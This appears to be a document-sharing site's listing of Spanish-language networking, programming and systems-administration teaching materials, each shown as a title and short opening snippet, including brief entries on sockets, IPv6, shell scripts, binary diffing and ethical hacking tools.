Clase 23 FTP. Telnet. Ejemplos Tema 6.- Nivel de aplicación en Internet Dr. Daniel Morató Redes de Computadores Ingeniero Técnico de Telecomunicación Especialidad en Sonido e Imagen 3º curso Temario 1.-
Guia rápida EPlus Cliente-Servidor
Guia rápida EPlus Cliente-Servidor Esta guía permitirá al usuario instalar la aplicación e-plus, para firmar y declarar sus trámites a través de acceso remoto. CONSIDERACIONES GENERALES.- El software eplus
Práctica 0 Introducción a la programación en C
DEPARTAMENTO DE AUTOMÁTICA ARQUITECTURA Y TECNOLOGÍA DE COMPUTADORES OBJETIVO Grado en Ingeniería de Computadores COMPUTACIÓN DE ALTAS PRESTACIONES Práctica 0 Introducción a la programación en C Se pretende
LINUX - Los archivos de órdenes I
LINUX - Los archivos de órdenes I Objetivos: Se pretende introducir al alumno en el uso de los archivos de órdenes (conocidos como scripts) utilizando el lenguaje de programación propio del intérprete
En cualquier caso, tampoco es demasiado importante el significado de la "B", si es que lo tiene, lo interesante realmente es el algoritmo.
Arboles-B Características Los árboles-b son árboles de búsqueda. La "B" probablemente se debe a que el algoritmo fue desarrollado por "Rudolf Bayer" y "Eduard M. McCreight", que trabajan para la empresa
"Binary Diffing" visual en Linux con Radare2 "UNA IMAGEN DICEN MÁS QUE MIL PALABRAS"
"Binary Diffing" visual en Linux con Radare2 Binary Diffing o simplemente Bindiffing es una técnica utilizada para la visualización de código (mayormente en ensamblador) y así detectar patrones de conducta,
Direcciones IP IMPLANTACIÓN DE SISTEMAS OPERATIVOS 1º ASIR. En redes IPv4.
Direcciones IP En redes IPv4. IMPLANTACIÓN DE SISTEMAS OPERATIVOS Cada ordenador en Internet dispone de una dirección IP única de 32 bits. Estos 32 bits,o 4 bytes, se representan normalmente como se muestra
Esta extensión está obsoleta a partir de PHP 5.5.0, y será eliminada en el futuro
USAR MYSQL EN PHP PHP tiene una librería de funciones nativas para conectarse a las base de datos MySQL. Por un lado reconoce la librería mysql y por otro mysqli. Se recomienda el uso de mysqli dado que
Metasploit framework, al igual que nessus, su versión paga es mucho más informática que la gratuita.
Ethical Hacking en modo Gráfico Herramientas para hacking ético hay muchas, las profesionales o pagas ofrecen informes mucho más detallados que las no pagas, pero ambas nos dan un indicio de que es lo
Configuración de la red
Semana 55 Empecemos! Bienvenidos a una nueva semana de trabajo! Aprenderemos sobre la configuración de la red LAN, la cual es una de las tareas más importantes del administrador de la red. La mayoría de
Guía Teórica Práctico 1: Ventana de Comandos o Terminal
BIO252-I / BIO252-P Guía Teórica Práctico 1, agosto de 2014. 1/11 Guía Teórica Práctico 1: Ventana de Comandos o Terminal Introducción El uso de un computador como herramienta se ha establecido en numerosas
Sockets: funcionamiento y programación. Sockets tipo UNIX. MSc. Ivan A. Escobar
Sockets tipo UNIX MSc. Ivan A. Escobar Creación socket: socket() int socket(familia, tipo, protocolo) Regresa un valor entero Parecido descriptor de archivos: descriptor socket sockfd int familia familia
Instructivo para Solicitud de Certificado de Servidor 080-ISS-I017
Instructivo para Solicitud de Certificado de Servidor 080-ISS-I017 Parte 1, generación del archivo Para llevar a cabo esta tarea se debe trabajar con el usuario ROOT (en el servidor) y se debe tener instalado
Configuración de una NIC
Rocío Altagracia Abreu Ortiz 2009-3393 Configuración de una NIC Una NIC (Network Interface Card) conocida como Tarjeta de Red permite la comunicación con aparatos conectados entre sí y también permite
Versatils. Apéndice. ODBC Orígenes de datos. ODBC Orígenes de datos.
Versatils ODBC Orígenes de datos. Apéndice 2 ODBC Orígenes de datos. Con esta herramienta podremos vincular bases de datos de Versatils con otros programas, como por ejemplo Access de Microsoft, dando
Práctica 1: sockets en Python
Práctica 1: sockets en Python Álvaro Navarro [email protected] Jesús M. González-Barahona [email protected] Infraestructura de Redes 5 o Ingeniería Informática 08/09 1. Fase 1: Cliente UDP Esta primera fase tiene
PROTOCOLO DE INTERNET VERSIÓN 6
PROTOCOLO DE INTERNET VERSIÓN 6 CONFIGURACIÓN DE EQUIPOS: HOST RED DE INVESTIGACIÓN DE TECNOLOGÍA AVANZADA [email protected] CONFIGURACIONES DE HOST 1. Soporte IPv6 en sistemas operativos Fabricante
Programando por primera vez
Programando por primera vez Antes de comenzar a programar es necesario ubicar un entorno que disponga de un compilador para el lenguaje en el que queremos programar. Un compilador es un programa que se
UNIVERSIDAD DE CANTABRIA DEPARTAMENTO DE INGENIERÍA DE COMUNICACIONES GRUPO DE INGENIERÍA TELEMÁTICA
UNIVERSIDAD DE CANTABRIA DEPARTAMENTO DE INGENIERÍA DE COMUNICACIONES GRUPO DE INGENIERÍA TELEMÁTICA MANUAL DE SOCKETS EN C TABLA DE CONTENIDOS Introducción.. 4 Sockets en C.. 7 2.1 Conceptos Básicos..
